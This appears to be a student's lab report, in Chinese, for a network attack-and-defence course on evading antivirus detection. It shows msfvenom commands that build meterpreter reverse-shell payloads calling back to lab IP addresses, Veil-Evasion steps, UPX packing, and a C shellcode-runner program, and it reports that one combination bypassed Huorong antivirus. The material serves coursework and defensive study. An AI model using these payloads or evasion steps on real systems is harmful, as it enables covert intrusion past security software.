20202407 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20202407 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • List item
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

(4)问题及回答

①杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的。
  • 启发式恶意软件检测
    启发式恶意软件检测是通过片面特征推断是否是恶意代码,没有特征码检测那么精确。
  • 基于行为的检测
    通过行为识别的,只关心他干了什么事,指通用的、多特征的、非精确的扫描。

②免杀是做什么?

一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。

③免杀的基本方法有哪些?

  • 改变特征码

如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
如果还有shellcode可以使用encode进行编码,改变他原本的特征码或基于payload重新编译生成可执行文件
如果有源代码可以用其他语言进行重写再编译

  • 改变行为

通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码

2.实验过程

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

① 正确使用msf编码器

  • 无编码的exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.67 PORT=2407 -f exe > qhq001.exe

请添加图片描述
请添加图片描述

  • 编码50次的exe文件

请添加图片描述
请添加图片描述
由此可见,编码能起十分轻微的免杀效果,但是并不明显

  • 使用msfvenom生成php文件
    请添加图片描述
    请添加图片描述
  • 使用msfvenom生成py文件
    请添加图片描述
    请添加图片描述
  • 使用msfvenom生成jar文件
    请添加图片描述
    请添加图片描述
  • 使用msfvenom生成apk文件
    请添加图片描述
    请添加图片描述
    由此可见,python文件的免杀效果相对最好,php文件和apk文件稍次,效果最差的是jar文件。

②veil实现

veil进入控制台
输入use 1选择Evasion
输入list查看并选择生成程序
输入use powershell/meterpreter/rev_tcp.py选择powershell语言
设置LHOSTset LHOST 192.168.203.168LPORTset LPORT 2407
输入generate生成后门程序2407qhq_veilc
请添加图片描述
请添加图片描述
请添加图片描述

③加壳

  • 压缩壳

UPX是一款先进的可执行程序文件压缩器,能使压缩过的可执行文件体积缩小50%-70%,有效防止程序被反编译破解。并且压缩过的程序完全没有功能损失,对于支持的大多数格式没有运行时间或内存的不利后果。
请添加图片描述
请添加图片描述

  • 加密壳
    请添加图片描述
    请添加图片描述

④C + shellcode编程
首先使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序

msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.203.168 LPORT=2407-f c
#编写程序
vim 2407shellcode.c #进入vim编辑器,没有文件会新建
程序内容如下:
	unsigned char buf[] = "生成的shellcode";
	int main()
	{
	    int (*func)() = (int(*)())buf;//buf强转成函数型指针
	    func();
	}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 2407shellcode.c -o 2407shellcode.exe

请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述

(2)通过组合应用各种技术实现恶意代码免杀

这里我进行了多次试验,发现了使用veil中的python载荷加上upx壳后可以使程序逃过电脑上的火绒的杀毒效果。
请添加图片描述
请添加图片描述

请添加图片描述
请添加图片描述

在配置LHOST和LPORT之后生成文件2407veil_py.exe
接着使用upx对其进行加壳,生成文件2407veil_py_upx.exe
我将程序直接从kali中拖到win10主机中,火绒并没有向往常那样检测出病毒并删除,如下图。
请添加图片描述
请添加图片描述

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

这里我的靶机选的是我的win10主机,电脑的杀软名称与版本如下:
在这里插入图片描述
下面是攻击过程,与实验二部分过程相似。
请添加图片描述
请添加图片描述
请添加图片描述

3.问题和解决方案

  • 问题1:在安装veil时无法成功安装,在运行setup.sh时总是出现很多无法run的报错。
  • 问题1解决方案:在参考网上资料后,知道可以通过先安装wine32的方法进行解决。依次运行dpkg --add-architecture i386 && apt-get update &&apt-get install wine32即可。
  • 问题2:在安装veil时,无法直接安装成功,需要先安装wine32,但是在换源时出现了问题,使用apt-get update更新时,出现以下报错Clearsigned file isn’t valid, got ‘NOSPLIT’ (does the network require authentication?)。
  • 问题2解决方案:在查找资料后,发现网上有提到可能是因为连接校园网时,主机认证连接了校园网,而虚拟机中没有,所以导致kali无法与外界通信,在更换手机热点后即可正常更新源。

4.学习感悟

通过这次实验我学到许多与免杀有关的知识,并将所学内容付诸实现,实验过程的时间主要花费在安装和搭建软件环境上,尤其是veil工具。在实验中通过恶意代码生成软件生成了许多程序,并在网络平台检验其识别率,最主要的是通过veil和C+ShellCode方式实现免杀。实验中我最大的收获是想要真正的实现免杀十分困难,虽然生成的程序短时间不会被发现,但时间一长,使用次数一多就会被杀毒软件发现,尤其是exe格式的文件很容易被发现。只用使用陌生格式的文件才能安稳避免被杀软发现。网络攻防技术道阻且长,还需要更加深入地学习。
我还懂得了有时候杀毒软件也不是那么可靠,他们也并不能将所有的恶意文件都给拦截下来。这也恰恰让我意识到,我们不能完全依赖于杀软,我们要提高自己的安全防范意识,自己有意识的不去做那些不安全的操作。

参考资料

MAL_免杀原理与实践

64位kali下安装wine32

免杀Payload生成工具Veil的下载与使用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值